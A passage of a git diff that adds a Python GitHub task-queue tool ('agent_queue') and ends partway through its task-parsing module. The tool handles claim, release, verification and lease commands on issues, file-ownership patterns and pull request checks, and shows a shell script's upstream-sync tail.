"$tmp/hits.json")" != "[]" ]; then + echo "upstream changed files of tasks you hold (check for interface changes):" + cat "$tmp/hits.json" + fi + rm -rf "$tmp" + elif [ -z "$old" ]; then + echo "fetched upstream/main at $(printf '%s' "$new" | cut -c1-12)" + else + echo "upstream/main unchanged" + fi + if [ "$merge" = yes ]; then + if [ -n "$(git -C "$root" status --porcelain)" ]; then + echo "not merging: working tree not clean" >&2 + else + git -C "$root" merge --no-edit upstream/main + fi + fi +} + +pass +[ "$once" = yes ] && exit 0 +while true; do + sleep $((interval * 60)) + pass +done diff --git a/scripts/agent_queue/__init__.py b/scripts/agent_queue/__init__.py new file mode 100644 index 0000000..579856d --- /dev/null +++ b/scripts/agent_queue/__init__.py @@ -0,0 +1,6 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Deterministic agent task queue logic. Pure functions, standard library only. + +Issue and comment text is untrusted data: it is parsed, never evaluated and +never passed to a shell. +""" diff --git a/scripts/agent_queue/__main__.py b/scripts/agent_queue/__main__.py new file mode 100644 index 0000000..47cb88e --- /dev/null +++ b/scripts/agent_queue/__main__.py @@ -0,0 +1,6 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +import sys + +from .cli import main + +sys.exit(main(sys.argv[1:])) diff --git a/scripts/agent_queue/cli.py b/scripts/agent_queue/cli.py new file mode 100644 index 0000000..2b07f6c --- /dev/null +++ b/scripts/agent_queue/cli.py @@ -0,0 +1,153 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Command line entry: PYTHONPATH=scripts python3 -m agent_queue <subcommand>. JSON in, JSON out.""" +import argparse +import json +import sys +from datetime import datetime, timezone + +from . import config as cfgmod +from . import ghio +from . import lease as L +from . import prcheck, queue +from . import tasks as T +from . import decide as decide_mod +from .decide import decide +from .patterns import path_matches + + +def _load(path): + with open(path, encoding="utf-8") if path != "-" else sys.stdin as fh: + return json.load(fh) + + +def _now(arg): + return T.parse_time(arg) if arg else datetime.now(timezone.utc) + + +def _out(obj): + json.dump(obj, sys.stdout, indent=2, sort_keys=True) + sys.stdout.write("\n") + + +def main(argv): + p = argparse.ArgumentParser(prog="agent_queue") + p.add_argument("--config", default=".github/agent-queue.json") + p.add_argument("--now", default="", help="UTC time YYYY-MM-DDTHH:MM:SSZ (tests)") + sub = p.add_subparsers(dest="cmd", required=True) + s = sub.add_parser("gather"); s.add_argument("--repo", required=True); s.add_argument("--no-prs", action="store_true"); s.add_argument("--pr", type=int, default=0) + s = sub.add_parser("decide"); s.add_argument("--event", required=True); s.add_argument("--state", required=True) + s = sub.add_parser("apply"); s.add_argument("--repo", required=True); s.add_argument("--actions", required=True) + s = sub.add_parser("audit"); s.add_argument("--state", required=True) + s = sub.add_parser("summary"); s.add_argument("--state", required=True); s.add_argument("--text", action="store_true") + s = sub.add_parser("pr-check"); s.add_argument("--state", required=True) + s = sub.add_parser("acceptance"); s.add_argument("--issue", required=True); s.add_argument("--comments", required=True) + s = sub.add_parser("task"); s.add_argument("--issue", required=True) + s = sub.add_parser("touch"); s.add_argument("--state", required=True); s.add_argument("--login", required=True) + s = sub.add_parser("fetch-issue"); s.add_argument("--repo", required=True); s.add_argument("--issue", type=int, required=True) + s = sub.add_parser("claim-status"); s.add_argument("--data", required=True); s.add_argument("--login", required=True); s.add_argument("--skip", type=int, default=0) + s = sub.add_parser("list"); s.add_argument("--state", required=True); s.add_argument("--area", default=""); s.add_argument("--json", action="store_true") + s = sub.add_parser("next"); s.add_argument("--state", required=True); s.add_argument("--area", required=True); s.add_argument("--login", required=True) + s = sub.add_parser("check-body"); s.add_argument("--file", required=True) + s = sub.add_parser("event"); s.add_argument("--path", required=True) + s = sub.add_parser("config-get"); s.add_argument("key") + a = p.parse_args(argv) + cfg = cfgmod.load(a.config) + + if a.cmd == "event": + # normalise a GitHub webhook payload file (issue_comment or pull_request_target) + ev = _load(a.path) + item = ev.get("issue") or ev.get("pull_request") or {} + who = (ev.get("comment") or {}).get("user") or item.get("user") or {} + _out({"kind": "pr" if ("pull_request" in ev or "pull_request" in item) else "issue", + "number": item.get("number"), "actor": who.get("login", ""), + "body": (ev.get("comment") or {}).get("body", "")}) + elif a.cmd == "config-get": + v = cfg[a.key] + print(v if isinstance(v, (str, int, float)) else json.dumps(v)) + elif a.cmd == "gather": + st = ghio.gather(a.repo, with_prs=not a.no_prs) + if a.pr: + st["pr"] = ghio.pr_data(a.repo, a.pr) + st["pr_comments"] = ghio.comments(a.repo, a.pr) + _out(st) + elif a.cmd == "decide": + _out(decide(_load(a.event), _load(a.state), cfg)) + elif a.cmd == "apply": + ghio.apply_actions(a.repo, _load(a.actions)) + elif a.cmd == "audit": + _out(queue.audit(_load(a.state), cfg, _now(a.now))) + elif a.cmd == "summary": + res = queue.summary(_load(a.state), a.now) + if a.text: + for r in res["tasks"]: + print("#%d\t%s\t%s\t%s\t%s\t%s" % (r["number"], r["state"], r["area"], r["priority"], r["holder"] or "-", r["title"])) + else: + _out(res) + elif a.cmd == "pr-check": + res = prcheck.check_pr(_load(a.state), cfg, _now(a.now)) + _out(res) + return 0 if res["ok"] else 1 + elif a.cmd == "task": + _out(T.parse_task(_load(a.issue))) + elif a.cmd == "acceptance": + task = T.parse_task(_load(a.issue)) + want = L.approved_hash(_load(a.comments)) + if not T.normalise_acceptance(task["acceptance"]) or want != T.acceptance_hash(task["acceptance"]): + sys.stderr.write("not authorized: no maintainer approval matches the current acceptance command\n") + return 3 + print(T.normalise_acceptance(task["acceptance"])) + elif a.cmd == "fetch-issue": + _out({"issues": [ghio.issue(a.repo, a.issue)], "comments": ghio.comments(a.repo, a.issue)}) + elif a.cmd == "claim-status": + data = _load(a.data) + task = T.parse_task(data["issues"][0]) + comments = data["comments"] + if task["holder"] == a.login and "agent:claimed" in task["labels"] and L.latest_grant(comments, task["number"], a.login): + print("granted") + return 0 + for c in reversed(comments[a.skip:]): + if c["user"] in L.BOT and c["body"].startswith("Claim refused for %s:" % a.login): + print(c["body"].split("\n", 1)[0]) + return 1 + print("pending") + return 2 + elif a.cmd == "list": + tasks = decide_mod.task_index(_load(a.state)) + rows = [t for t in tasks.values() if t["state"] == "OPEN" and "agent:ready" in t["labels"] + and (not a.area or t["area"] == a.area)] + rows.sort(key=lambda t: (cfgmod.PRIORITIES.index(t["priority"]), t["number"])) + if a.json: + _out([{k: t[k] for k in ("number", "title", "area", "priority", "depends", "files")} for t in rows]) + else: + for t in rows: + print("#%d\t%s\t%s\t%s" % (t["number"], t["area"], t["priority"], t["title"])) + elif a.cmd == "next": + tasks = decide_mod.task_index(_load(a.state)) + rows = sorted((t for t in tasks.values() if t["state"] == "OPEN" and t["area"] == a.area), + key=lambda t: (cfgmod.PRIORITIES.index(t["priority"]), t["number"])) + for t in rows: + if not decide_mod.claim_problem(t, tasks, cfg, a.login): + print(t["number"]) + return 0 + sys.stderr.write("no claimable task in area %s\n" % a.area) + return 1 + elif a.cmd == "check-body": + with open(a.file, encoding="utf-8") as fh: + t = T.parse_task({"number": 0, "body": fh.read()}) + if not t["area"] or not t["files"] or not T.normalise_acceptance(t["acceptance"]): + sys.stderr.write("body needs a valid Area, Files and Acceptance command section\n") + return 1 + print("area:" + t["area"]) + print("priority:" + t["priority"]) + elif a.cmd == "touch": + # stdin lines "<sha>\t<path>"; report those touching patterns of tasks held by login + state, hits = _load(a.state), [] + held = [T.parse_task(i) for i in state["issues"]] + held = [t for t in held if t["holder"] == a.login and t["state"] == "OPEN"] + for line in sys.stdin.read().splitlines(): + sha, _, path = line.partition("\t") + for t in held: + if any(path_matches(path, pat) for pat in t["files"]): + hits.append({"commit": sha, "path": path, "task": t["number"]}) + _out(hits) + return 0 diff --git a/scripts/agent_queue/config.py b/scripts/agent_queue/config.py new file mode 100644 index 0000000..23827c5 --- /dev/null +++ b/scripts/agent_queue/config.py @@ -0,0 +1,34 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +import json + +AREAS = ("cpu", "gpu", "runtime", "shared", "qa") +PRIORITIES = ("critical", "high", "medium", "low") +DEFAULT = {"lease_hours": 24, "maintainers": [], "contributors": {}, "upstream": ""} + + +def parse(text): + data = json.loads(text) + cfg = dict(DEFAULT) + cfg.update({k: data[k] for k in DEFAULT if k in data}) + if not isinstance(cfg["lease_hours"], (int, float)) or cfg["lease_hours"] <= 0: + raise ValueError("lease_hours must be a positive number") + return cfg + + +def load(path): + with open(path, encoding="utf-8") as fh: + return parse(fh.read()) + + +def is_maintainer(cfg, login): + return login in cfg["maintainers"] + + +def may_work_on(cfg, login, area): + if is_maintainer(cfg, login): + return True + return area in cfg["contributors"].get(login, []) + + +def is_verifier(cfg, login): + return is_maintainer(cfg, login) or "qa" in cfg["contributors"].get(login, []) diff --git a/scripts/agent_queue/decide.py b/scripts/agent_queue/decide.py new file mode 100644 index 0000000..5ee8d19 --- /dev/null +++ b/scripts/agent_queue/decide.py @@ -0,0 +1,153 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Comment command decisions. Returns actions as data; the caller applies them.""" +from . import config as cfgmod +from . import lease as L +from . import tasks as T + +COMMANDS = ("/claim", "/release", "/reassign", "/progress", "/blocked", "/unblock", + "/approve-acceptance", "/verified") + + +def parse_command(body): + first = (body or "").strip().split("\n", 1)[0].strip() + parts = first.split(None, 1) + if not parts or parts[0] not in COMMANDS: + return None, "" + return parts[0], (parts[1].strip() if len(parts) > 1 else "") + + +def _act(issue, add=(), remove=(), comment=""): + return {"issue": issue, "add_labels": list(add), "remove_labels": list(remove), "comment": comment} + + +def _reply(issue, text): + return [_act(issue, comment=text)] + + +def task_index(state): + return {int(i["number"]): T.parse_task(i) for i in state.get("issues", [])} + + +def claim_problem(task, tasks, cfg, actor): + if "agent:ready" not in task["labels"]: + who = " (held by %s)" % task["holder"] if task["holder"] else "" + return "not claimable: the issue is not labelled agent:ready%s." % who + if not task["area"]: + return "not claimable: the Area field is missing or not one of %s." % ", ".join(cfgmod.AREAS) + if not cfgmod.may_work_on(cfg, actor, task["area"]): + return "%s is not allowed to claim area:%s tasks (see .github/agent-queue.json)." % (actor, task["area"]) + if not task["files"]: + return "not claimable: the Files field lists no paths." + d = T.dep_problems(task, tasks) + if d["missing"]: + return "dependency issue(s) not found: %s." % ", ".join("#%d" % n for n in d["missing"]) + if d["cycle"]: + return "dependency cycle: %s." % " -> ".join("#%d" % n for n in d["cycle"]) + if d["open"]: + return "open dependencies: %s." % ", ".join("#%d" % n for n in d["open"]) + from .patterns import sets_overlap + for other in sorted(tasks.values(), key=lambda t: t["number"]): + if other["number"] == task["number"] or other["state"] != "OPEN": + continue + if "agent:claimed" not in other["labels"]: + continue + hit = sets_overlap(task["files"], other["files"]) + if hit: + return "file overlap with claimed task #%d (`%s` vs `%s`)." % (other["number"], hit[0], hit[1]) + return "" + + +def decide(event, state, cfg): + cmd, arg = parse_command(event.get("body")) + if cmd is None: + return [] + actor, n = event["actor"], int(event["number"]) + if cmd == "/verified": + return _verified(event, state, cfg, arg) + if event.get("kind") == "pr": + return [] + tasks = task_index(state) + task = tasks.get(n) + if task is None or task["state"] != "OPEN": + return [] + holder = task["holder"] + maint = cfgmod.is_maintainer(cfg, actor) + + if cmd == "/claim": + problem = claim_problem(task, tasks, cfg, actor) + if problem: + return _reply(n, "Claim refused for %s: %s" % (actor, problem)) + text = "Claimed by %s. The claim lapses %s hours after the latest grant, /progress comment or push to the linked pull request.\n%s" % ( + actor, cfg["lease_hours"], L.grant_marker(n, actor)) + return [_act(n, ["agent:claimed", "claimed-by:" + actor], ["agent:ready"], text)] + + if cmd == "/release": + if "agent:claimed" not in task["labels"]: + return _reply(n, "Nothing to release: the task is not claimed.") + if actor != holder and not maint: + return _reply(n, "Only the holder (%s) or a maintainer can release this claim." % holder) + return [_act(n, ["agent:ready"], ["agent:claimed", "agent:blocked", "claimed-by:" + holder], + "Released by %s; the task is back in the queue." % actor)] + + if cmd == "/reassign": + if not maint: + return _reply(n, "Only a maintainer can reassign tasks.") + target = arg.split()[0].lstrip("@") if arg else "" + if not target: + return _reply(n, "Usage: /reassign <login>") + if not cfgmod.may_work_on(cfg, target, task["area"]): + return _reply(n, "Reassign refused: %s is not allowed to work on area:%s." % (target, task["area"])) + if not (set(task["labels"]) & {"agent:claimed", "agent:ready"}): + return _reply(n, "Reassign refused: the task is neither ready nor claimed.") + remove = ["agent:ready"] + (["claimed-by:" + holder] if holder else []) + return [_act(n, ["agent:claimed", "claimed-by:" + target], remove, + "Reassigned to %s by %s. New lease starts now.\n%s" % (target, actor, L.grant_marker(n, target)))] + + if cmd == "/progress": + if "agent:claimed" not in task["labels"] or actor != holder: + return _reply(n, "Only the holder of a claimed task can post progress.") + if len(arg) < 3: + return _reply(n, "Progress needs a short description of what changed, for example `/progress parser done, tests next`. Lease not renewed.") + return _reply(n, "Lease renewed: %s more hours from now." % cfg["lease_hours"]) + + if cmd == "/blocked": + if actor != holder and not maint: + return _reply(n, "Only the holder or a maintainer can mark a task blocked.") + if not arg: + return _reply(n, "Usage: /blocked <reason>") + return [_act(n, ["agent:blocked"], [], "Blocked by %s: %s" % (actor, arg))] + + if cmd == "/unblock": + if actor != holder and not maint: + return _reply(n, "Only the holder or a maintainer can unblock a task.") + return [_act(n, [], ["agent:blocked"], "Unblocked by %s." % actor)] + + if cmd == "/approve-acceptance": + if not maint: + return _reply(n, "Only a maintainer can approve an acceptance command.") + if not T.normalise_acceptance(task["acceptance"]): + return _reply(n, "No acceptance command to approve.") + digest = T.acceptance_hash(task["acceptance"]) + return _reply(n, "Acceptance command approved by %s for the current text (sha256 %s). Editing the issue body invalidates this approval; nothing runs it automatically.\n%s" % ( + actor, digest[:12], L.acceptance_marker(digest))) + return [] + + +def _verified(event, state, cfg, arg): + n, actor = int(event["number"]), event["actor"] + if event.get("kind") != "pr": + return [] + pr = state.get("pr") or {} + sha = arg.split()[0] if arg else "" + head = pr.get("head_sha", "") + if actor == pr.get("author"): + return _reply(n, "Verification refused: the pull request author cannot verify it.") + tasks = task_index(state) + for issue in L.linked_issues(pr.get("body")): + if issue in tasks and tasks[issue]["holder"] == actor: + return _reply(n, "Verification refused: %s holds the linked task #%d." % (actor, issue)) + if not cfgmod.is_verifier(cfg, actor): + return _reply(n, "%s may not verify: only maintainers and qa contributors can." % actor) + if len(sha) < 7 or not head.startswith(sha): + return _reply(n, "Verification refused: `%s` is not the current head %s." % (sha or "(none)", head[:12])) + return _reply(n, "Verification of %s recorded for %s." % (head[:12], actor)) diff --git a/scripts/agent_queue/ghio.py b/scripts/agent_queue/ghio.py new file mode 100644 index 0000000..23274ef --- /dev/null +++ b/scripts/agent_queue/ghio.py @@ -0,0 +1,79 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Thin gh wrapper. Arguments are always passed as lists, never through a shell.""" +import json +import subprocess + + +def gh(*args): + r = subprocess.run(["gh"] + list(args), capture_output=True, text=True) + if r.returncode != 0: + raise RuntimeError("gh %s failed: %s" % (" ".join(args[:2]), r.stderr.strip()[:300])) + return r.stdout + + +def ndjson(out): + return [json.loads(l) for l in out.splitlines() if l.strip()] + + +def issue(repo, n): + try: + return json.loads(gh("issue", "view", str(n), "-R", repo, "--json", "number,title,body,state,labels")) + except RuntimeError: + return {"number": n, "title": "", "body": "", "state": "MISSING", "labels": []} + + +def comments(repo, n): + jq = '.[] | {user: .user.login, body: .body, created_at: .created_at}' + return ndjson(gh("api", "repos/%s/issues/%d/comments" % (repo, n), "--paginate", "--jq", jq)) + + +def open_issues(repo): + return json.loads(gh("issue", "list", "-R", repo, "--state", "open", "--limit", "500", + "--json", "number,title,body,state,labels")) + + +def pr_data(repo, n): + p = json.loads(gh("pr", "view", str(n), "-R", repo, "--json", "number,author,body,headRefOid,state")) + sha = p["headRefOid"] + when = gh("api", "repos/%s/commits/%s" % (repo, sha), "--jq", ".commit.committer.date").strip() + files = gh("api", "repos/%s/pulls/%d/files" % (repo, n), "--paginate", "--jq", ".[].filename").split() + return {"number": p["number"], "author": p["author"]["login"], "body": p["body"] or "", + "head_sha": sha, "head_pushed_at": when, "files": files, "state": p["state"]} + + +def open_prs(repo): + nums = [p["number"] for p in json.loads(gh("pr", "list", "-R", repo, "--state", "open", "--limit", "100", "--json", "number"))] + return [pr_data(repo, n) for n in nums] + + +def gather(repo, with_prs=True, with_comments=True): + """State for decide/audit/summary: open tasks plus any dependency issues they name.""" + from .tasks import parse_task + issues = {i["number"]: i for i in open_issues(repo)} + for i in list(issues.values()): + for d in parse_task(i)["depends"]: + if d not in issues: + issues[d] = issue(repo, d) + state = {"issues": list(issues.values())} + if with_comments: + state["task_comments"] = {str(n): comments(repo, n) for n, i in issues.items() + if any((l["name"] if isinstance(l, dict) else l) == "agent:claimed" for l in i["labels"])} + if with_prs: + state["prs"] = open_prs(repo) + return state + + +def apply_actions(repo, actions): + for a in actions: + n = str(a["issue"]) + for label in a["add_labels"]: + gh("label", "create", label, "-R", repo, "--force", "--color", "BFD4F2") + args = ["issue", "edit", n, "-R", repo] + for l in a["add_labels"]: + args += ["--add-label", l] + for l in a["remove_labels"]: + args += ["--remove-label", l] + if len(args) > 4: + gh(*args) + if a["comment"]: + gh("issue", "comment", n, "-R", repo, "--body", a["comment"]) diff --git a/scripts/agent_queue/lease.py b/scripts/agent_queue/lease.py new file mode 100644 index 0000000..c20adb3 --- /dev/null +++ b/scripts/agent_queue/lease.py @@ -0,0 +1,73 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Claim leases. Only the holder's own activity renews one; markers count only from the bot.""" +import re +from datetime import timedelta + +from .tasks import parse_time + +BOT = ["github-actions[bot]"] +GRANT = re.compile(r"<!-- agent-queue:grant issue=(\d+) login=([A-Za-z0-9-]+) -->") +ACCEPT = re.compile(r"<!-- agent-queue:acceptance sha256=([0-9a-f]{64}) -->") + + +def grant_marker(issue, login): + return "<!-- agent-queue:grant issue=%d login=%s -->" % (issue, login) + + +def acceptance_marker(digest): + return "<!-- agent-queue:acceptance sha256=%s -->" % digest + + +def latest_grant(comments, issue, login, bots=BOT): + best = None + for c in comments: + if c["user"] not in bots: + continue + m = GRANT.search(c["body"]) + if m and int(m.group(1)) == issue and m.group(2) == login: + t = parse_time(c["created_at"]) + best = t if best is None or t > best else best + return best + + +def lease_start(task, comments, prs, bots=BOT): + """Latest of grant, holder /progress comment, holder's linked PR push.""" + holder, n = task["holder"], task["number"] + times = [] + g = latest_grant(comments, n, holder, bots) + if g: + times.append(g) + for c in comments: + if c["user"] == holder and c["body"].lstrip().startswith("/progress"): + times.append(parse_time(c["created_at"])) + for pr in prs: + if pr["author"] == holder and n in linked_issues(pr["body"]) and pr.get("head_pushed_at"): + times.append(parse_time(pr["head_pushed_at"])) + return max(times) if times else None + + +def lease_end(task, comments, prs, cfg, bots=BOT): + start = lease_start(task, comments, prs, bots) + return None if start is None else start + timedelta(hours=cfg["lease_hours"]) + + +def lapsed(task, comments, prs, cfg, now, bots=BOT): + end = lease_end(task, comments, prs, cfg, bots) + return end is not None and now > end + + +def linked_issues(body): + return [int(n) for n in re.findall(r"(?i)\b(?:closes|fixes|resolves)\s+#(\d+)", body or "")] + + +def approved_hash(comments, bots=BOT): + best, best_t = None, None + for c in comments: + if c["user"] not in bots: + continue + m = ACCEPT.search(c["body"]) + if m: + t = parse_time(c["created_at"]) + if best_t is None or t >= best_t: + best, best_t = m.group(1), t + return best diff --git a/scripts/agent_queue/patterns.py b/scripts/agent_queue/patterns.py new file mode 100644 index 0000000..c0ed8ea --- /dev/null +++ b/scripts/agent_queue/patterns.py @@ -0,0 +1,78 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""File ownership patterns: exact paths, directory prefixes ("dir/") and globs ("*", "**").""" +import re + + +def _norm(p): + p = p.strip().replace("\\", "/") + while p.startswith("./"): + p = p[2:] + return p.lstrip("/") + + +def _is_glob(p): + return any(c in p for c in "*?[") + + +def _regex(pattern): + out, i = [], 0 + while i < len(pattern): + if pattern.startswith("**/", i): + out.append("(?:.*/)?") + i += 3 + elif pattern.startswith("**", i): + out.append(".*") + i += 2 + elif pattern[i] == "*": + out.append("[^/]*") + i += 1 + elif pattern[i] == "?": + out.append("[^/]") + i += 1 + else: + out.append(re.escape(pattern[i])) + i += 1 + return re.compile("^" + "".join(out) + "$") + + +def path_matches(path, pattern): + path, pattern = _norm(path), _norm(pattern) + if not pattern: + return False + if pattern.endswith("/"): + return path.startswith(pattern) + if _is_glob(pattern): + return bool(_regex(pattern).match(path)) + return path == pattern + + +def _prefix(pattern): + """Literal leading part of a pattern (the whole directory for a "dir/" pattern).""" + for i, c in enumerate(pattern): + if c in "*?[": + return pattern[:i] + return pattern + + +def patterns_overlap(a, b): + """True when some path could match both patterns. Errs towards True.""" + a, b = _norm(a), _norm(b) + if not a or not b: + return False + a_exact = not _is_glob(a) and not a.endswith("/") + b_exact = not _is_glob(b) and not b.endswith("/") + if a_exact: + return path_matches(a, b) + if b_exact: + return path_matches(b, a) + pa, pb = _prefix(a), _prefix(b) + return pa.startswith(pb) or pb.startswith(pa) + + +def sets_overlap(files_a, files_b): + """First overlapping pair (a, b) between two pattern lists, or None.""" + for a in files_a: + for b in files_b: + if patterns_overlap(a, b): + return (a, b) + return None diff --git a/scripts/agent_queue/prcheck.py b/scripts/agent_queue/prcheck.py new file mode 100644 index 0000000..7382864 --- /dev/null +++ b/scripts/agent_queue/prcheck.py @@ -0,0 +1,52 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Pull request checks computed from data only. PR code is never fetched or run.""" +from . import config as cfgmod +from . import lease as L +from .patterns import path_matches, patterns_overlap +from .decide import task_index + + +def verified_by(pr, comments, tasks, cfg): + """Eligible verifier logins whose /verified comment names the current head SHA.""" + head, out = pr.get("head_sha", ""), [] + holders = {tasks[i]["holder"] for i in L.linked_issues(pr.get("body")) if i in tasks} + for c in comments: + parts = c["body"].strip().split("\n", 1)[0].split() + if len(parts) < 2 or parts[0] != "/verified" or len(parts[1]) < 7: + continue + who = c["user"] + if (head.startswith(parts[1]) and who != pr.get("author") and who not in holders + and cfgmod.is_verifier(cfg, who) and who not in out): + out.append(who) + return out + + +def check_pr(state, cfg, now): + pr, comments = state["pr"], state.get("pr_comments", []) + tasks = task_index(state) + problems = [] + links = [i for i in L.linked_issues(pr.get("body")) if i in tasks] + if not links: + problems.append("no linked task: the pull request body must contain `Closes #N` for a claimed task") + for n in links: + t = tasks[n] + if "agent:claimed" not in t["labels"]: + problems.append("task #%d is not claimed" % n) + continue + if t["holder"] != pr["author"]: + problems.append("task #%d is held by %s, not the pull request author" % (n, t["holder"] or "nobody")) + outside = [f for f in pr.get("files", []) if not any(path_matches(f, p) for p in t["files"])] + if outside: + problems.append("files outside task #%d ownership: %s" % (n, ", ".join(outside[:10]))) + if L.lapsed(t, state.get("task_comments", {}).get(str(n), []), [pr], cfg, now): + problems.append("task #%d claim has lapsed and the head has not been pushed within %s hours" % (n, cfg["lease_hours"])) + for other in state.get("prs", []): + if other["number"] == pr["number"]: + continue + shared = sorted(set(pr.get("files", [])) & set(other.get("files", []))) + if shared: + problems.append("overlaps open PR #%d on: %s" % (other["number"], ", ".join(shared[:10]))) + ok_by = verified_by(pr, comments, tasks, cfg) + if not ok_by: + problems.append("independent verification missing: an eligible verifier must comment `/verified %s`" % pr.get("head_sha", "")[:12]) + return {"pr": pr["number"], "ok": not problems, "problems": problems, "verified_by": ok_by} diff --git a/scripts/agent_queue/queue.py b/scripts/agent_queue/queue.py new file mode 100644 index 0000000..faedfe4 --- /dev/null +++ b/scripts/agent_queue/queue.py @@ -0,0 +1,68 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Queue-wide views: machine-readable summary and the scheduled audit.""" +from . import config as cfgmod +from . import lease as L +from . import tasks as T +from .decide import task_index +from .patterns import sets_overlap + + +def summary(state, now_iso=""): + tasks = task_index(state) + by_area, rows = {}, [] + for n in sorted(tasks): + t = tasks[n] + if t["state"] != "OPEN" or not any(l.startswith("agent:") for l in t["labels"]): + continue + st = T.task_state(t) + area = t["area"] or "unset" + by_area.setdefault(area, {}).setdefault(t["priority"], {}).setdefault(st, []).append(n) + rows.append({"number": n, "title": t["title"], "area": area, "priority": t["priority"], + "state": st, "holder": t["holder"], "depends": t["depends"], "files": t["files"]}) + counts = {} + for r in rows: + counts[r["state"]] = counts.get(r["state"], 0) + 1 + prs = [{"number": p["number"], "author": p["author"], "head_sha": p.get("head_sha", ""), + "links": L.linked_issues(p.get("body")), "files": len(p.get("files", []))} + for p in state.get("prs", [])] + return {"generated_at": now_iso, "totals": counts, "by_area": by_area, "tasks": rows, "pull_requests": prs} + + +def audit(state, cfg, now): + """Actions that lapse stale claims and mark invalid or conflicting tasks.""" + tasks = task_index(state) + actions = [] + cycle_nodes = {n for cyc in T.find_cycles(tasks) for n in cyc} + claimed = [t for t in tasks.values() if t["state"] == "OPEN" and "agent:claimed" in t["labels"]] + for t in sorted(claimed, key=lambda x: x["number"]): + comments = state.get("task_comments", {}).get(str(t["number"]), []) + if "agent:blocked" in t["labels"]: + continue + if L.lapsed(t, comments, state.get("prs", []), cfg, now): + actions.append({"issue": t["number"], "add_labels": ["agent:ready"], + "remove_labels": ["agent:claimed", "claimed-by:" + t["holder"]], + "comment": "Claim lapsed after %s hours without progress; the task is back in the queue." % cfg["lease_hours"]}) + lapsed_nums = {a["issue"] for a in actions} + for i, a in enumerate(claimed): + for b in claimed[i + 1:]: + hit = sets_overlap(a["files"], b["files"]) + if hit: + for x, y in ((a, b), (b, a)): + if "agent:conflict" not in x["labels"] and x["number"] not in lapsed_nums: + actions.append({"issue": x["number"], "add_labels": ["agent:conflict"], "remove_labels": [], + "comment": "File overlap with claimed task #%d (`%s` vs `%s`). A maintainer must resolve it." % (y["number"], hit[0], hit[1])}) + for t in sorted(tasks.values(), key=lambda x: x["number"]): + if t["state"] != "OPEN" or "agent:ready" not in t["labels"]: + continue + d = T.dep_problems(t, tasks) + if d["missing"] or d["cycle"] or t["number"] in cycle_nodes: + why = ("missing dependencies %s" % d["missing"]) if d["missing"] else "dependency cycle %s" % d["cycle"] + actions.append({"issue": t["number"], "add_labels": ["agent:invalid"], "remove_labels": ["agent:ready"], + "comment": "Marked invalid: %s. Fix the Depends on field to return it to the queue." % why}) + for t in sorted(tasks.values(), key=lambda x: x["number"]): + if t["state"] == "OPEN" and "agent:invalid" in t["labels"] and "agent:claimed" not in t["labels"]: + d = T.dep_problems(t, tasks) + if not d["missing"] and not d["cycle"]: + actions.append({"issue": t["number"], "add_labels": ["agent:ready"], "remove_labels": ["agent:invalid"], + "comment": "Dependencies are valid again; the task is back in the queue."}) + return actions diff --git a/scripts/agent_queue/tasks.py b/scripts/agent_queue/tasks.py new file mode 100644 index 0000000..c6fe4b7 --- /dev/null +++ b/scripts/agent_queue/tasks.py @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Parse issue-form bodies into tasks and validate dependencies. Text is data only.""" +import hashlib +import re +from datetime import datetime, timezone + +from . import config as cfgmod + +SECTION = re.compile(r"^###\s+(.+?)\s*$", re.M) + + +def sections(body): + body = (body or "").replace("\r\n", "\n") + marks = list(SECTION.finditer(body)) + out = {} + for i, m in enumerate(marks): + end = marks[i + 1].start() if i + 1 < len(marks) else len(body) + text = body[m.end():end].strip() + out[m.group(1).strip().lower()] = "" if text == "_No response_" else text + return out + + +def _lines(text): + res = [] + for line in text.splitlines(): + line = line.strip() + if line.startswith(("- ", "* ")): + line = line[2:].strip() + line = line.strip("`").strip() + if line: + res.append(line) + return res + + +def normalise_acceptance(text): + lines = [l.strip() for l in (text or "").replace("\r\n", "\n").split("\n")] + while lines and lines[0].startswith("```"): + lines.pop(0) + while lines and lines[-1].startswith("```"): + lines.pop() + lines = [" ".join(l.split()) for l in lines if l] + return "\n".join(lines) + + +def acceptance_hash(text): + return hashlib.sha256(normalise_acceptance(text).encode("utf-8")).hexdigest() + + +def label_names(issue): + out = [] + for l in issue.get("labels") or []: + out.append(l["name"] if isinstance(l, dict) else str(l)) + return out + + +def holder_of(labels): + for l in labels: + if l.startswith("claimed-by:"): + return l[len("claimed-by:"):] + return "" + + +def label_value(labels, prefix): + for l in labels: + if l.startswith(prefix): + return l[len(prefix):] + return "" + + +def parse_task(issue): + """Build a plain dict task from a gh issue dict {number,title,body,state,labels}.""" + sec = sections(issue.get("body")) + labels = label_names(issue) + area = sec.get("area", "").strip().lower() or label_value(labels, "area:") + prio = sec.get("priority", "").strip().lower() or label_value(labels, "priority:") + return { + "number": int(issue["number"]), + "title": issue.get("title", ""), + "state": str(issue.get("state", "OPEN")).upper(), + "labels": labels, + "area": area if area in cfgmod.AREAS else "", + "priority": prio if prio in cfgmod.PRIORITIES else "medium", + "files": _lines(sec.get("files", "")), + "depends": sorted({int(n) for n in re.findall(r"#(\d+)", sec.get("depends on", ""))}), + "acceptance": sec.get("acceptance command", ""), + "interface": sec.get("interface", ""), + "holder": holder_of(labels), + } + + +def task_state(t): + if t["state"] != "OPEN": + return "closed" + for name in ("invalid", "conflict", "blocked", "claimed", "ready"): + if "agent:" + name in t["labels"]: + return name + return "untracked" + + +def parse_time(s): + return datetime.strptime(s, "%Y-%m-%dT%H:%M:%SZ").replace(tzinfo=timezone.utc) + + +def find_cycles(tasks): + """Cycles among open tasks. tasks: {number: task}. Returns list of number lists.""" + openset = {n for n, t in tasks.items() if t["state"] == "OPEN"} + color, stack, cycles = {}, [], [] + + def visit(n): + color[n] = 1 + stack.append(n) + for d in tasks[n]["depends"]: + if d not in openset: + continue + if color.get(d) == 1: + cycles.append(stack[stack.index(d):] + [d]) + elif d not in color: + visit(d) + stack.pop() + color[n] = 2 + + for n in sorted(openset): + if n not in color: + visit(n) + return cycles + + +def dep_problems(task, 